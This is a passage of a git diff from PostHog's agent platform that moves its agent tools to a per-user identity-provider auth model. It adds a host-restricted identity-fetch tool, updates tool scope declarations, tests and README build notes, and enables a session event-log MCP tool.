+ const reason = res.kind === 'unavailable' ? res.reason : 'linking is not supported for this provider'
+ return { unavailable: { provider: args.provider, reason } }
+ },
+})
diff --git a/products/agent_platform/services/agent-tools/src/tools/identity-fetch.v1.ts b/products/agent_platform/services/agent-tools/src/tools/identity-fetch.v1.ts
new file mode 100644
index 000000000000..0ee6ba315d6f
--- /dev/null
+++ b/products/agent_platform/services/agent-tools/src/tools/identity-fetch.v1.ts
@@ -0,0 +1,63 @@
+/**
+ * Call a linked identity provider's API as the current asker. Resolves their
+ * per-principal OAuth credential via `ctx.identity`; if unlinked, returns an
+ * `auth_required` link for the agent to relay. The target host must belong to
+ * the provider (the resolver's allowedHosts) so a user's bearer can't be aimed
+ * at an arbitrary URL.
+ */
+
+import { defineNativeTool, Type } from '@posthog/agent-shared'
+
+export const identityFetchV1 = defineNativeTool({
+ id: '@posthog/identity-fetch',
+ description:
+ "Call a linked identity provider's API as the current user. If the user hasn't " +
+ 'linked that provider yet, returns an `auth_required` link to send them. The URL ' +
+ 'host must belong to the provider (from spec.identity_providers).',
+ args: Type.Object({
+ provider: Type.String({ description: 'Provider id from spec.identity_providers (e.g. "github").' }),
+ url: Type.String({ description: "Absolute URL on the provider's API host." }),
+ method: Type.Optional(Type.String({ description: 'HTTP method. Default GET.' })),
+ }),
+ returns: Type.Object({
+ auth_required: Type.Optional(Type.Object({ provider: Type.String(), authorize_url: Type.String() })),
+ status: Type.Optional(Type.Number()),
+ body: Type.Optional(Type.Unknown()),
+ }),
+ requires: {},
+ cost_hint: 'medium',
+ async run(args, ctx) {
+ if (!ctx.identity) {
+ throw new Error('identity_unavailable: no identity providers configured on this agent')
+ }
+ const res = await ctx.identity.resolve(args.provider)
+ if (res.kind === 'link_required') {
+ return { auth_required: { provider: res.provider, authorize_url: res.authorizeUrl } }
+ }
+ if (res.kind === 'unavailable') {
+ throw new Error(`identity_unavailable: ${args.provider} (${res.reason})`)
+ }
+ const host = new URL(args.url).host
+ if (!res.allowedHosts.includes(host)) {
+ throw new Error(`identity_host_not_allowed: ${host} not a ${args.provider} host`)
+ }
+ const token =
+ res.credential.kind === 'oauth_bearer' || res.credential.kind === 'posthog_bearer'
+ ? res.credential.token
+ : undefined
+ if (!token) {
+ throw new Error('identity_credential_not_bearer')
+ }
+ const resp = await ctx.http.fetch(args.url, {
+ method: args.method ?? 'GET',
+ headers: { Authorization: `Bearer ${token}`, Accept: 'application/json' },
+ })
+ let body: unknown
+ try {
+ body = await resp.json()
+ } catch {
+ body = await resp.text().catch(() => null)
+ }
+ return { status: resp.status, body }
+ },
+})
diff --git a/products/agent_platform/services/agent-tools/src/tools/load-skill.ts b/products/agent_platform/services/agent-tools/src/tools/load-skill.ts
index bba947174494..8869af9387a0 100644
--- a/products/agent_platform/services/agent-tools/src/tools/load-skill.ts
+++ b/products/agent_platform/services/agent-tools/src/tools/load-skill.ts
@@ -65,7 +65,7 @@ export const loadSkill = defineNativeTool({
path: Type.String(),
body: Type.String(),
}),
- requires: { integrations: [], scopes: [] },
+ requires: {},
cost_hint: 'cheap',
async run(args, ctx) {
if (!ctx.skillIndex || !ctx.readBundleFile) {
diff --git a/products/agent_platform/services/agent-tools/src/tools/meta.ts b/products/agent_platform/services/agent-tools/src/tools/meta.ts
index 3c4f93cbb4aa..7c948ffcd1a5 100644
--- a/products/agent_platform/services/agent-tools/src/tools/meta.ts
+++ b/products/agent_platform/services/agent-tools/src/tools/meta.ts
@@ -28,7 +28,7 @@ export const endTurnTool = defineNativeTool({
'Finish the current turn. The user can still send follow-up messages — this is the default polite stop. Use this whenever you have nothing more to add for now, including when you need the user to answer a question (write the question as your reply, then end the turn). Use meta-end-session instead only when the agent task is truly complete.',
args: Type.Object({}),
returns: Type.Object({ ended_turn: Type.Literal(true) }),
- requires: { integrations: [], scopes: [] },
+ requires: {},
cost_hint: 'cheap',
async run(_args, _ctx) {
// Runner intercepts this — never actually called.
@@ -44,7 +44,7 @@ export const endSessionTool = defineNativeTool({
summary: Type.Optional(Type.String()),
}),
returns: Type.Object({ ended: Type.Literal(true) }),
- requires: { integrations: [], scopes: [] },
+ requires: {},
cost_hint: 'cheap',
async run(_args, _ctx) {
return { ended: true as const }
@@ -60,7 +60,7 @@ export const emitEventTool = defineNativeTool({
properties: Type.Optional(Type.Record(Type.String(), Type.Unknown())),
}),
returns: Type.Object({ emitted: Type.Literal(true) }),
- requires: { integrations: [], scopes: ['events:write'] },
+ requires: {},
cost_hint: 'cheap',
async run(args, ctx) {
ctx.log('info', 'meta.emit_event', { event: args.event, distinct_id: args.distinct_id })
diff --git a/products/agent_platform/services/agent-tools/src/tools/native-tools-catalog.v1.test.ts b/products/agent_platform/services/agent-tools/src/tools/native-tools-catalog.v1.test.ts
index 958ec8229fb6..a9784de9892a 100644
--- a/products/agent_platform/services/agent-tools/src/tools/native-tools-catalog.v1.test.ts
+++ b/products/agent_platform/services/agent-tools/src/tools/native-tools-catalog.v1.test.ts
@@ -14,7 +14,7 @@ describe('@posthog/agent-applications-native-tools-list', () => {
const query = byId.get('@posthog/query')
expect(query).not.toBeUndefined()
expect(typeof query!.description).toBe('string')
- expect(Array.isArray(query!.requires.scopes)).toBe(true)
+ expect(query!.requires.provider).toEqual({ id: 'posthog', scopes: ['query:read'] })
expect(['cheap', 'medium', 'expensive']).toContain(query!.cost_hint)
// The catalog tool lists itself — it's a real available tool.
expect(byId.has('@posthog/agent-applications-native-tools-list')).toBe(true)
diff --git a/products/agent_platform/services/agent-tools/src/tools/posthog-agent-management.v1.ts b/products/agent_platform/services/agent-tools/src/tools/posthog-agent-management.v1.ts
index 32238464609a..20bc19d6d9e3 100644
--- a/products/agent_platform/services/agent-tools/src/tools/posthog-agent-management.v1.ts
+++ b/products/agent_platform/services/agent-tools/src/tools/posthog-agent-management.v1.ts
@@ -3,11 +3,12 @@
* surface the concierge needs to inspect any agent (its own
* application, other team agents, their revisions, sessions, logs).
*
- * All tools share the credential-broker auth path (`_posthog-api.ts`):
- * the connected user's `posthog_api` bearer authenticates every call.
- * If the broker doesn't have a credential, every tool fails the same
- * way with `posthog_credentials_unavailable` and the agent.md
- * degradation rules kick in.
+ * All tools share the identity auth path (`_posthog-api.ts`): each declares a
+ * posthog `requires.provider` and resolves the connected user's bearer via
+ * `ctx.identity.resolve('posthog')` (trigger-edge seed or per-asker link).
+ * An unlinked asker yields a uniform `auth_required` result (the dispatch
+ * wrapper relays the link); an unavailable identity fails with
+ * `posthog_credentials_unavailable` and the agent.md degradation rules kick in.
*
* Tool ids mirror the MCP catalog (e.g. `@posthog/agent-applications-list`
* matches `agent-applications-list` in `services/mcp/definitions/agent_platform.yaml`)
@@ -114,7 +115,7 @@ export const posthogAgentApplicationsListV1 = defineNativeTool({
include_archived: Type.Optional(Type.Boolean({ description: 'Include archived agents (default false).' })),
}),
returns: Type.Object({ results: Type.Array(AgentApplicationSchema) }),
- requires: { integrations: [], scopes: ['agents:read'] },
+ requires: { provider: { id: 'posthog', scopes: ['agents:read'] } },
cost_hint: 'cheap',
async run(args, ctx) {
const data = await callPosthogApi<ListResponse<AgentApplication>>(ctx, {
@@ -132,7 +133,7 @@ export const posthogAgentApplicationsRetrieveV1 = defineNativeTool({
'Get the full record of one agent application by slug or id. Returns its name, description, current live_revision, archived state. Use as step 1 of inspecting any agent.',
args: Type.Object({ project_id: ProjectIdArg, ...agentRefFields }),
returns: AgentApplicationSchema,
- requires: { integrations: [], scopes: ['agents:read'] },
+ requires: { provider: { id: 'posthog', scopes: ['agents:read'] } },
cost_hint: 'cheap',
async run(args, ctx) {
const id = await resolveApplicationId(ctx, args)
@@ -166,7 +167,7 @@ export const posthogAgentApplicationsRevisionsListV1 = defineNativeTool({
"List every revision of one agent in chronological order — draft, ready, live, archived. Use to see the agent's edit history or to find a specific revision to inspect.",
args: Type.Object({ project_id: ProjectIdArg, ...agentRefFields }),
returns: Type.Object({ results: Type.Array(RevisionSchema) }),
- requires: { integrations: [], scopes: ['agents:read'] },
+ requires: { provider: { id: 'posthog', scopes: ['agents:read'] } },
cost_hint: 'cheap',
async run(args, ctx) {
const id = await resolveApplicationId(ctx, args)
@@ -188,7 +189,7 @@ export const posthogAgentApplicationsRevisionsRetrieveV1 = defineNativeTool({
revision_id: Type.String({ description: 'Revision UUID.' }),
}),
returns: RevisionSchema,
- requires: { integrations: [], scopes: ['agents:read'] },
+ requires: { provider: { id: 'posthog', scopes: ['agents:read'] } },
cost_hint: 'cheap',
async run(args, ctx) {
const id = await resolveApplicationId(ctx, args)
@@ -213,7 +214,7 @@ export const posthogAgentApplicationsRevisionsSystemPromptV1 = defineNativeTool(
framework_prompt_version: Type.Number(),
system_prompt: Type.String(),
}),
- requires: { integrations: [], scopes: ['agents:read'] },
+ requires: { provider: { id: 'posthog', scopes: ['agents:read'] } },
cost_hint: 'cheap',
async run(args, ctx) {
const id = await resolveApplicationId(ctx, args)
@@ -248,7 +249,7 @@ export const posthogAgentApplicationsRevisionsManifestV1 = defineNativeTool({
bundle_sha256: Type.Union([Type.String(), Type.Null()]),
files: Type.Array(ManifestFileSchema),
}),
- requires: { integrations: [], scopes: ['agents:read'] },
+ requires: { provider: { id: 'posthog', scopes: ['agents:read'] } },
cost_hint: 'cheap',
async run(args, ctx) {
const id = await resolveApplicationId(ctx, args)
@@ -269,7 +270,7 @@ export const posthogAgentApplicationsRevisionsBundleRetrieveV1 = defineNativeToo
revision_id: Type.String({ description: 'Revision UUID.' }),
}),
returns: Type.Record(Type.String(), Type.Unknown()),
- requires: { integrations: [], scopes: ['agents:read'] },
+ requires: { provider: { id: 'posthog', scopes: ['agents:read'] } },
cost_hint: 'cheap',
async run(args, ctx) {
const id = await resolveApplicationId(ctx, args)
@@ -296,7 +297,7 @@ export const posthogAgentApplicationsRevisionsSlackManifestV1 = defineNativeTool
events_url: Type.Union([Type.String(), Type.Null()]),
interactivity_url: Type.Union([Type.String(), Type.Null()]),
}),
- requires: { integrations: [], scopes: ['agents:read'] },
+ requires: { provider: { id: 'posthog', scopes: ['agents:read'] } },
cost_hint: 'cheap',
async run(args, ctx) {
const id = await resolveApplicationId(ctx, args)
@@ -343,7 +344,7 @@ export const posthogAgentApplicationsSessionsListV1 = defineNativeTool({
next: Type.Optional(Type.Union([Type.String(), Type.Null()])),
results: Type.Array(SessionSummarySchema),
}),
- requires: { integrations: [], scopes: ['agent_session:read'] },
+ requires: { provider: { id: 'posthog', scopes: ['agent_session:read'] } },
cost_hint: 'cheap',
async run(args, ctx) {
const id = await resolveApplicationId(ctx, args)
@@ -365,7 +366,7 @@ export const posthogAgentApplicationsSessionsRetrieveV1 = defineNativeTool({
session_id: Type.String({ description: 'Session UUID.' }),
}),
returns: Type.Record(Type.String(), Type.Unknown()),
- requires: { integrations: [], scopes: ['agent_session:read'] },
+ requires: { provider: { id: 'posthog', scopes: ['agent_session:read'] } },
cost_hint: 'medium',
async run(args, ctx) {
const id = await resolveApplicationId(ctx, args)
@@ -402,7 +403,7 @@ export const posthogAgentApplicationsCreateV1 = defineNativeTool({
),
}),
returns: AgentApplicationSchema,
- requires: { integrations: [], scopes: ['agents:write'] },
+ requires: { provider: { id: 'posthog', scopes: ['agents:write'] } },
cost_hint: 'cheap',
async run(args, ctx) {
return callPosthogApi(ctx, {
@@ -429,7 +430,7 @@ export const posthogAgentApplicationsPartialUpdateV1 = defineNativeTool({
description: Type.Optional(Type.String()),
}),
returns: AgentApplicationSchema,
- requires: { integrations: [], scopes: ['agents:write'] },
+ requires: { provider: { id: 'posthog', scopes: ['agents:write'] } },
cost_hint: 'cheap',
async run(args, ctx) {
const id = await resolveApplicationId(ctx, args)
@@ -468,7 +469,7 @@ export const posthogAgentApplicationsRevisionsCreateV1 = defineNativeTool({
),
}),
returns: RevisionSchema,
- requires: { integrations: [], scopes: ['agents:write'] },
+ requires: { provider: { id: 'posthog', scopes: ['agents:write'] } },
cost_hint: 'cheap',
async run(args, ctx) {
const id = await resolveApplicationId(ctx, args)
@@ -494,7 +495,7 @@ export const posthogAgentApplicationsRevisionsNewDraftV1 = defineNativeTool({
source_revision_id: Type.String({ description: 'Revision UUID to clone bundle + spec from.' }),
}),
returns: Type.Object({ revision: RevisionSchema, source_revision_id: Type.String() }),
- requires: { integrations: [], scopes: ['agents:write'] },
+ requires: { provider: { id: 'posthog', scopes: ['agents:write'] } },
cost_hint: 'cheap',
async run(args, ctx) {
const id = await resolveApplicationId(ctx, args)
@@ -520,7 +521,7 @@ export const posthogAgentApplicationsRevisionsPartialUpdateV1 = defineNativeTool
}),
}),
returns: RevisionSchema,
- requires: { integrations: [], scopes: ['agents:write'] },
+ requires: { provider: { id: 'posthog', scopes: ['agents:write'] } },
cost_hint: 'cheap',
async run(args, ctx) {
const id = await resolveApplicationId(ctx, args)
@@ -548,7 +549,7 @@ export const posthogAgentApplicationsRevisionsAgentMdUpdateV1 = defineNativeTool
content: Type.String({ description: 'Full system prompt body.' }),
}),
returns: Type.Object({ ok: Type.Boolean(), bytes: Type.Number() }),
- requires: { integrations: [], scopes: ['agents:write'] },
+ requires: { provider: { id: 'posthog', scopes: ['agents:write'] } },
cost_hint: 'cheap',
async run(args, ctx) {
const id = await resolveApplicationId(ctx, args)
@@ -578,7 +579,7 @@ export const posthogAgentApplicationsRevisionsSkillsUpdateV1 = defineNativeTool(
),
}),
returns: Type.Object({ ok: Type.Boolean(), skill_id: Type.String() }),
- requires: { integrations: [], scopes: ['agents:write'] },
+ requires: { provider: { id: 'posthog', scopes: ['agents:write'] } },
cost_hint: 'cheap',
async run(args, ctx) {
const id = await resolveApplicationId(ctx, args)
@@ -603,7 +604,7 @@ export const posthogAgentApplicationsRevisionsSkillsDestroyV1 = defineNativeTool
skill_id: Type.String({ description: 'Skill slug.' }),
}),
returns: Type.Object({ ok: Type.Boolean(), skill_id: Type.String() }),
- requires: { integrations: [], scopes: ['agents:write'] },
+ requires: { provider: { id: 'posthog', scopes: ['agents:write'] } },
cost_hint: 'cheap',
async run(args, ctx) {
const id = await resolveApplicationId(ctx, args)
@@ -633,7 +634,7 @@ export const posthogAgentApplicationsRevisionsToolsUpdateV1 = defineNativeTool({
source: Type.String({ description: 'TypeScript source.' }),
}),
returns: Type.Object({ ok: Type.Boolean(), tool_id: Type.String() }),
- requires: { integrations: [], scopes: ['agents:write'] },
+ requires: { provider: { id: 'posthog', scopes: ['agents:write'] } },
cost_hint: 'cheap',
async run(args, ctx) {
const id = await resolveApplicationId(ctx, args)
@@ -658,7 +659,7 @@ export const posthogAgentApplicationsRevisionsToolsDestroyV1 = defineNativeTool(
tool_id: Type.String({ description: 'Tool slug.' }),
}),
returns: Type.Object({ ok: Type.Boolean(), tool_id: Type.String() }),
- requires: { integrations: [], scopes: ['agents:write'] },
+ requires: { provider: { id: 'posthog', scopes: ['agents:write'] } },
cost_hint: 'cheap',
async run(args, ctx) {
const id = await resolveApplicationId(ctx, args)
@@ -688,7 +689,7 @@ export const posthogAgentApplicationsRevisionsValidateV1 = defineNativeTool({
errors: Type.Array(Type.Record(Type.String(), Type.Unknown())),
resolved_natives: Type.Optional(Type.Array(Type.String())),
}),
- requires: { integrations: [], scopes: ['agents:write'] },
+ requires: { provider: { id: 'posthog', scopes: ['agents:write'] } },
cost_hint: 'cheap',
async run(args, ctx) {
const id = await resolveApplicationId(ctx, args)
@@ -714,7 +715,7 @@ export const posthogAgentApplicationsRevisionsFreezeV1 = defineNativeTool({
bundle_sha256: Type.String(),
revision: RevisionSchema,
}),
- requires: { integrations: [], scopes: ['agents:write'] },
+ requires: { provider: { id: 'posthog', scopes: ['agents:write'] } },
cost_hint: 'cheap',
async run(args, ctx) {
const id = await resolveApplicationId(ctx, args)
@@ -735,7 +736,7 @@ export const posthogAgentApplicationsRevisionsPromoteV1 = defineNativeTool({
revision_id: Type.String({ description: 'Revision UUID (must be `state=ready`).' }),
}),
returns: Type.Object({ ok: Type.Boolean(), state: Type.String() }),
- requires: { integrations: [], scopes: ['agents:write'] },
+ requires: { provider: { id: 'posthog', scopes: ['agents:write'] } },
cost_hint: 'cheap',
async run(args, ctx) {
const id = await resolveApplicationId(ctx, args)
@@ -756,7 +757,7 @@ export const posthogAgentApplicationsRevisionsArchiveV1 = defineNativeTool({
revision_id: Type.String({ description: 'Revision UUID to archive.' }),
}),
returns: Type.Object({ ok: Type.Boolean(), state: Type.String() }),
- requires: { integrations: [], scopes: ['agents:write'] },
+ requires: { provider: { id: 'posthog', scopes: ['agents:write'] } },
cost_hint: 'cheap',
async run(args, ctx) {
const id = await resolveApplicationId(ctx, args)
@@ -771,7 +772,7 @@ export const posthogAgentApplicationsRevisionsArchiveV1 = defineNativeTool({
* Encrypted env — list / get / clear individual keys
*
* Writes (set / rotate) deliberately route through the `set_secret`
- * client tool in the agent-console dock — not through a native tool.
+ * client tool in the console UI — not through a native tool.
* That keeps secret values out of the session tool-call history. See
* `skills/secrets-and-integrations`.
*
@@ -791,7 +792,7 @@ export const posthogAgentApplicationsEnvKeysListV1 = defineNativeTool({
'List every encrypted_env key set on an agent, with `is_set` per row. Does NOT return the values — those are encrypted at rest and never read back through this surface. Use to audit which secrets the agent has configured before freeze + promote.',
args: Type.Object({ project_id: ProjectIdArg, ...agentRefFields }),
returns: Type.Object({ keys: Type.Array(EnvKeyRowSchema) }),
- requires: { integrations: [], scopes: ['agents:read'] },
+ requires: { provider: { id: 'posthog', scopes: ['agents:read'] } },
cost_hint: 'cheap',
async run(args, ctx) {
const id = await resolveApplicationId(ctx, args)
@@ -812,7 +813,7 @@ export const posthogAgentApplicationsEnvKeysGetV1 = defineNativeTool({
key: Type.String({ description: 'Env key to probe, e.g. `SLACK_BOT_TOKEN`.' }),
}),
returns: EnvKeyRowSchema,
- requires: { integrations: [], scopes: ['agents:read'] },
+ requires: { provider: { id: 'posthog', scopes: ['agents:read'] } },
cost_hint: 'cheap',
async run(args, ctx) {
const id = await resolveApplicationId(ctx, args)
@@ -836,7 +837,7 @@ export const posthogAgentApplicationsSetEnvV1 = defineNativeTool({
}),
}),
returns: Type.Object({ ok: Type.Boolean() }),
- requires: { integrations: [], scopes: ['agents:write'] },
+ requires: { provider: { id: 'posthog', scopes: ['agents:write'] } },
cost_hint: 'cheap',
async run(args, ctx) {
const id = await resolveApplicationId(ctx, args)
@@ -860,7 +861,7 @@ export const posthogAgentApplicationsSessionLogsV1 = defineNativeTool({
returns: Type.Object({
events: Type.Array(Type.Record(Type.String(), Type.Unknown())),
}),
- requires: { integrations: [], scopes: ['agent_session:read'] },
+ requires: { provider: { id: 'posthog', scopes: ['agent_session:read'] } },
cost_hint: 'medium',
async run(args, ctx) {
const id = await resolveApplicationId(ctx, args)
diff --git a/products/agent_platform/services/agent-tools/src/tools/posthog-projects.v1.ts b/products/agent_platform/services/agent-tools/src/tools/posthog-projects.v1.ts
index a4169859feb9..d62185916c00 100644
--- a/products/agent_platform/services/agent-tools/src/tools/posthog-projects.v1.ts
+++ b/products/agent_platform/services/agent-tools/src/tools/posthog-projects.v1.ts
@@ -49,7 +49,7 @@ export const posthogListProjectsV1 = defineNativeTool({
})
),
}),
- requires: { integrations: [], scopes: [] },
+ requires: { provider: { id: 'posthog', scopes: [] } },
cost_hint: 'cheap',
async run(_args, ctx) {
const me = await callPosthogApi<MeResponse>(ctx, { method: 'GET', path: '/api/users/@me/' })
diff --git a/products/agent_platform/services/agent-tools/src/tools/posthog-query.v1.test.ts b/products/agent_platform/services/agent-tools/src/tools/posthog-query.v1.test.ts
index 17a64885404b..3b4fb196f686 100644
--- a/products/agent_platform/services/agent-tools/src/tools/posthog-query.v1.test.ts
+++ b/products/agent_platform/services/agent-tools/src/tools/posthog-query.v1.test.ts
@@ -5,9 +5,10 @@ import type { HttpFetcher, ToolContext } from '@posthog/agent-shared'
import { makeCtx } from '../test-helpers'
import { posthogQueryV1 } from './posthog-query.v1'
-/** A posthog_api bearer, as the ingress verifier writes for `posthog`-auth sessions. */
-const posthogCredentials: ToolContext['credentials'] = {
- resolve: async (target) => (target === 'posthog_api' ? { kind: 'posthog_bearer', token: 'tok' } : null),
+/** Pre-resolved posthog identity, as the dispatch wrapper threads in for a tool
+ * declaring a posthog `requires.provider`. */
+const posthogIdentity: ToolContext['resolvedIdentities'] = {
+ posthog: { credential: { kind: 'posthog_bearer', token: 'tok' }, allowedHosts: ['localhost:8010'] },
}
function fetchReturning(payload: unknown): { http: HttpFetcher; calls: Array<{ url: string; body: unknown }> } {
@@ -35,7 +36,7 @@ describe('@posthog/query', () => {
})
const logs: Array<{ msg: string; meta?: Record<string, unknown> }> = []
const ctx = makeCtx({
- credentials: posthogCredentials,
+ resolvedIdentities: posthogIdentity,
http,
log: (_level, msg, meta) => logs.push({ msg, meta }),
})
@@ -57,14 +58,19 @@ describe('@posthog/query', () => {
it('targets whatever project_id the agent passes (no principal coupling)', async () => {
const { http, calls } = fetchReturning({ results: [], columns: [] })
- const ctx = makeCtx({ credentials: posthogCredentials, http })
+ const ctx = makeCtx({ resolvedIdentities: posthogIdentity, http })
await posthogQueryV1.run({ project_id: 42, query: 'select 1' }, ctx)
expect(calls[0].url).toBe('http://localhost:8010/api/projects/42/query/')
})
- it('surfaces a missing posthog credential', async () => {
+ it('surfaces an unavailable posthog identity', async () => {
const { http } = fetchReturning({ results: [], columns: [] })
- const ctx = makeCtx({ credentials: { resolve: async () => null }, http })
+ const ctx = makeCtx({
+ identity: {
+ resolve: async () => ({ kind: 'unavailable', provider: 'posthog', reason: 'principal_not_linkable' }),
+ },
+ http,
+ })
await expect(posthogQueryV1.run({ project_id: 1, query: 'select 1' }, ctx)).rejects.toThrow(
/posthog_credentials_unavailable/
)
diff --git a/products/agent_platform/services/agent-tools/src/tools/posthog-query.v1.ts b/products/agent_platform/services/agent-tools/src/tools/posthog-query.v1.ts
index 7ec5ada1bc95..288909f84151 100644
--- a/products/agent_platform/services/agent-tools/src/tools/posthog-query.v1.ts
+++ b/products/agent_platform/services/agent-tools/src/tools/posthog-query.v1.ts
@@ -28,10 +28,10 @@ export const posthogQueryV1 = defineNativeTool({
// `query:read` is the scope the Django `QueryViewSet` enforces (`scope_object
// = "query"`, with `create` registered as a read action). The HogQL request
// hits `POST /api/projects/{team}/query/`.
- requires: { integrations: [], scopes: ['query:read'] },
+ requires: { provider: { id: 'posthog', scopes: ['query:read'] } },
cost_hint: 'medium',
async run(args, ctx) {
- // Routes through the per-user credential broker (`posthog_api` bearer)
+ // Resolves the `posthog` identity (trigger-edge seed or per-asker link)
// exactly like the sibling `@posthog/agent-applications-*` tools, so the
// query executes AS the connected PostHog user and Django enforces that
// user's access to `args.project_id` (a 403 surfaces as a tool error).
diff --git a/products/agent_platform/services/agent-tools/src/tools/slack.v1.ts b/products/agent_platform/services/agent-tools/src/tools/slack.v1.ts
index 149d41323311..63372fe563f7 100644
--- a/products/agent_platform/services/agent-tools/src/tools/slack.v1.ts
+++ b/products/agent_platform/services/agent-tools/src/tools/slack.v1.ts
@@ -120,7 +120,7 @@ export const slackPostMessageV1 = defineNativeTool({
ts: Type.String(),
channel: Type.String(),
}),
- requires: { scopes: ['chat:write'] },
+ requires: { provider: { id: 'slack', scopes: ['chat:write'] } },
cost_hint: 'cheap',
async run(args, ctx) {
const token = slackBotToken(ctx)
@@ -142,7 +142,7 @@ export const slackUpdateMessageV1 = defineNativeTool({
text: Type.String(),
}),
returns: Type.Object({ ok: Type.Boolean() }),
- requires: { scopes: ['chat:write'] },
+ requires: { provider: { id: 'slack', scopes: ['chat:write'] } },
cost_hint: 'cheap',
async run(args, ctx) {
const token = slackBotToken(ctx)
@@ -167,7 +167,7 @@ export const slackReadChannelV1 = defineNativeTool({
has_more: Type.Boolean(),
next_cursor: Type.Optional(Type.String()),
}),
- requires: { scopes: ['channels:history', 'groups:history'] },
+ requires: { provider: { id: 'slack', scopes: ['channels:history', 'groups:history'] } },
cost_hint: 'cheap',
async run(args, ctx) {
const token = slackBotToken(ctx)
@@ -210,7 +210,7 @@ export const slackReadThreadV1 = defineNativeTool({
has_more: Type.Boolean(),
next_cursor: Type.Optional(Type.String()),
}),
- requires: { scopes: ['channels:history', 'groups:history'] },
+ requires: { provider: { id: 'slack', scopes: ['channels:history', 'groups:history'] } },
cost_hint: 'cheap',
async run(args, ctx) {
const token = slackBotToken(ctx)
@@ -246,7 +246,7 @@ export const slackReactV1 = defineNativeTool({
name: Type.String(),
}),
returns: Type.Object({ ok: Type.Boolean() }),
- requires: { scopes: ['reactions:write'] },
+ requires: { provider: { id: 'slack', scopes: ['reactions:write'] } },
cost_hint: 'cheap',
async run(args, ctx) {
const token = slackBotToken(ctx)
diff --git a/products/agent_platform/services/agents/README.md b/products/agent_platform/services/agents/README.md
index a6205414c917..687b6463a46b 100644
--- a/products/agent_platform/services/agents/README.md
+++ b/products/agent_platform/services/agents/README.md
@@ -3,31 +3,28 @@
Build glue for the unified `posthog-agents` container image. **Not a
runtime package** — this directory exists only to host the Dockerfile,
the esbuild entrypoint script, and the tiny package.json that pulls the
-four runtime workspaces into one bundle.
+three runtime workspaces into one bundle.
-The image bakes four entrypoints into one slim Node 24 image:
+The image bakes three entrypoints into one slim Node 24 image:
-| Service | Command | Default port |
-| ------------------ | ------------------------------------------ | ------------ |
-| `agent-ingress` | `node services/agents/dist/ingress.mjs` | 8080 |
-| `agent-runner` | `node services/agents/dist/runner.mjs` | — |
-| `agent-janitor` | `node services/agents/dist/janitor.mjs` | 8082 |
-| `agent-migrations` | `node services/agents/dist/migrate.mjs up` | — |
+| Service | Command | Default port |
+| --------------- | --------------------------------------- | ------------ |
+| `agent-ingress` | `node services/agents/dist/ingress.mjs` | 8080 |
+| `agent-runner` | `node services/agents/dist/runner.mjs` | — |
+| `agent-janitor` | `node services/agents/dist/janitor.mjs` | 8082 |
-Why one image: ingress + runner + janitor + migrations co-evolve (one DB
-schema, one `@posthog/agent-shared`). The deploy manifest picks the
-entrypoint per replica / Job, so bumping a SHA rolls all four in
-lockstep. The Next.js console ships separately as
-`posthog-agent-console` — different build, different Node version.
+Why one image: ingress + runner + janitor co-evolve (one DB schema, one
+`@posthog/agent-shared`). The deploy manifest picks the entrypoint per
+replica / Job, so bumping a SHA rolls all three in lockstep. Schema is
+Django-owned (the `agent_platform` product DB) and applied by the
+`migrate_product_databases` job — not by this image. (The console UI is a
+separate product and lives in the posthog/code repo, not here.)
## Local
```bash
docker build -f services/agents/Dockerfile -t posthog-agents:dev .
-# Migrate
-docker run --rm -e AGENT_DB_URL=... posthog-agents:dev node services/agents/dist/migrate.mjs up
-
# Long-running services
docker run --rm -e POSTHOG_DB_URL=... -e AGENT_DB_URL=... -p 8080:8080 \
posthog-agents:dev node services/agents/dist/ingress.mjs
@@ -36,8 +33,7 @@ docker run --rm -e POSTHOG_DB_URL=... -e AGENT_DB_URL=... -p 8080:8080 \
## Layout in the runtime image
```text
-/code/services/agents/dist/{ingress,runner,janitor,migrate}.mjs
-/code/services/agents/migrations/*.sql # node-pg-migrate input
+/code/services/agents/dist/{ingress,runner,janitor}.mjs
/code/services/agents/node_modules/ # pnpm symlinks for externals
/code/node_modules/.pnpm/ # backing store (incl. node-rdkafka)
```
@@ -48,8 +44,3 @@ Bundles sit inside `services/agents/` so Node's module resolution finds
declares `node-rdkafka` and `pg-native` as esbuild externals — they
cannot be inlined into a `.mjs` (`.node` addon for the former, optional
C addon for the latter), so they're loaded from `node_modules` at boot.
-
-[services/agent-migrations/src/lib.ts](../agent-migrations/src/lib.ts)
-resolves the migrations folder as `../migrations` relative to the bundle
-file, so `dirname(/code/services/agents/dist/migrate.mjs) + '../migrations'`
-lands at `/code/services/agents/migrations` — no env override needed.
diff --git a/products/agent_platform/services/agents/package.json b/products/agent_platform/services/agents/package.json
index 752fd3e27dc8..659340166168 100644
--- a/products/agent_platform/services/agents/package.json
+++ b/products/agent_platform/services/agents/package.json
@@ -8,6 +8,8 @@
"type": "module",
"scripts": {
"lint": "oxlint --quiet .",
+ "format": "oxfmt .",
+ "format:check": "oxfmt --check .",
"build": "tsx scripts/build.ts",
"typescript:check": "tsc --noEmit -p ."
},
diff --git a/pyproject.toml b/pyproject.toml
index ce7b1bcf59a9..c2f6f9fbd5c0 100644
--- a/pyproject.toml
+++ b/pyproject.toml
@@ -514,6 +514,7 @@ ignore_imports = [
"products.agent_platform.backend.presentation.views -> products.agent_platform.backend.db",
"products.agent_platform.backend.presentation.views -> products.agent_platform.backend.logic.internal_jwt",
"products.agent_platform.backend.presentation.views -> products.agent_platform.backend.logic.janitor_client",
+ "products.agent_platform.backend.presentation.views -> products.agent_platform.backend.logic.posthog_identity_app",
"products.agent_platform.backend.presentation.views -> products.agent_platform.backend.logic.spec_schema",
"products.agent_platform.backend.presentation.views -> products.agent_platform.backend.models",
"products.mcp_analytics.backend.presentation.views -> products.mcp_analytics.backend.logic",
diff --git a/services/mcp/definitions/agent_platform.yaml b/services/mcp/definitions/agent_platform.yaml
index 6fcb569751ad..12238061d9f3 100644
--- a/services/mcp/definitions/agent_platform.yaml
+++ b/services/mcp/definitions/agent_platform.yaml
@@ -532,7 +532,23 @@ tools:
workflow.
agent-applications-session-logs:
operation: agent_applications_session_logs
- enabled: false
+ enabled: true
+ scopes:
+ - agents:read
+ annotations:
+ readOnly: true
+ destructive: false
+ idempotent: true
+ title: Get a session's structured event log
+ description: >
+ The append-only event log for one session — the runner's own record of what happened, separate from the
+ conversation transcript. Entries carry a level (info / warn / error), a message, and structured metadata:
+ tool executions + results, MCP open successes / failures (with a coarse failure category), identity
+ resolution decisions (`identity.resolved` — which credential source acted as whom, never the token),
+ approval gates, and errors. Use this to debug WHY a session behaved as it did when the transcript alone
+ isn't enough (e.g. a tool degraded, an MCP failed to open, or an asker's identity resolved unexpectedly).
